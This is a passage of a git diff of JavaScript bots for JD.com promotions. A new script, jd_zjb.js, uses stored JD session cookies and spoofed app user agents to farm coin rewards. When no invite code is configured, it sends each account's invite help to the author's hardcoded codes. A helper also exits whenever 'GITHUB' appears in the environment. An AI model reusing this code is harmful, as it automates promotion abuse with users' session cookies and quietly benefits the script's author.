Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": ck2, + } + } + $.get(options, async (err, resp, data) => { try { - cc = JSON.parse(data); - + cc = JSON.parse(data); + } catch (e) { $.logErr(e, resp); } finally { @@ -364,23 +364,23 @@ function chucao(plantId, encryptUid) { function help(userpin) { return new Promise(async (resolve) => { - let options = { - url: `https://thebigboss.jd.com/?id=fzf6tK4xMfE2ICK4-T_iUw&enter=share&userpin=${userpin}&task=92&ad_od=share&utm_source=androidapp&utm_medium=appshare&utm_campaign=t_335139774&utm_term=Wxfriends`, - - headers: { - "Origin": "https://thebigboss.jd.com", - "Host": "thebigboss.jd.com", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.5(0x18000528) NetType/WIFI Language/zh_CN", - "Cookie": cookie, - } - } + let options = { + url: `https://thebigboss.jd.com/?id=fzf6tK4xMfE2ICK4-T_iUw&enter=share&userpin=${userpin}&task=92&ad_od=share&utm_source=androidapp&utm_medium=appshare&utm_campaign=t_335139774&utm_term=Wxfriends`, +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "thebigboss.jd.com", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.5(0x18000528) NetType/WIFI Language/zh_CN", + "Cookie": cookie, + } + } + $.get(options, async (err, resp, data) => { try { - //$.helpinfo = JSON.parse(data); - + //$.helpinfo = JSON.parse(data); + } catch (e) { $.logErr(e, resp); } finally { @@ -392,89 +392,89 @@ function help(userpin) { -async function taskPostUrl(functionId, body) { - return { - url: `${JD_API_HOST}`, - body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } +async function taskPostUrl(functionId,body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', } + } } async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } }) + }) } async function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; + try { + if (typeof JSON.parse(data) == "object") { + return true; } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } } function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; } + } } // prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_zjb.js b/jd_zjb.js new file mode 100755 index 0000000..3048397 --- /dev/null +++ b/jd_zjb.js @@ -0,0 +1,254 @@ +/* +#柠檬赚金币 +##入口为极速版 百元生活费 赚金币 邀请好友 +##第一次运行可不填写邀请码 运行一次查看自己的邀请码 +##export InviterPin="dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D" +##助力逻辑:填写你的邀请码变量之后会助力你填写的邀请码,未填写则会默认给【zero205】助力,介意请勿运行 + + +[task_local] +#柠檬赚金币 +0 7 * * * http://nm66.top/jd_zjb.js, tag=柠檬赚金币, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ +const $ = new Env('柠檬赚金币'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let InviterPin = ''; + +if ($.isNode() && process.env.InviterPin) { + InviterPin = process.env.InviterPin; +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await info() + if (InviterPin.length != 0) { + await help() + } else { + console.log(`\n您未填写赚金币邀请码变量,开始助力【zero205】\n`); + await help2("zero205","%2FeNHdfn6fP%2BTFwVda3ipjWwvTFqeKBZaRG38adWABKk%3D") + await help2("whisper liu","Sev6JWjut6GyaEHJIWpSQQ%3D%3D") + + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +function info() { + return new Promise(async (resolve) => { + let options = { + url: `https://api.m.jd.com`, + body: `functionId=TaskInviteService&body={"method":"inviteTaskHomePage","data":{"channel":"1"}}&appid=market-task-h5&uuid=7303439343432346-7356431353233311&eu=7303439343432341&fv=7356431353233321&_t=1623475839367`, + headers: { + "Origin": "https://assignment.jd.com", + "Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/wifi;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/jkWXTyfQA2PDVmg3OkxOiWnHy7pHXWA |155;psq/12;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/36.36;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + reust = JSON.parse(data) + } + if (reust.code === 0) { + $.log("\n【您的赚金币邀请码为】" + reust.data.encryptionInviterPin) + } else + console.log(data.message) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function help() { + return new Promise(async (resolve) => { + let options = { + url: `https://api.m.jd.com`, + body: `functionId=TaskInviteService&body={"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":"${encodeURIComponent(InviterPin)}","type":1}}&appid=market-task-h5&uuid=7303439343432346-7356431353233311&eu=7303439343432341&fv=7356431353233321&_t=1623475839367`, + headers: { + "Origin": "https://assignment.jd.com", + "Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/wifi;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/jkWXTyfQA2PDVmg3OkxOiWnHy7pHXWA |155;psq/12;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/36.36;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = 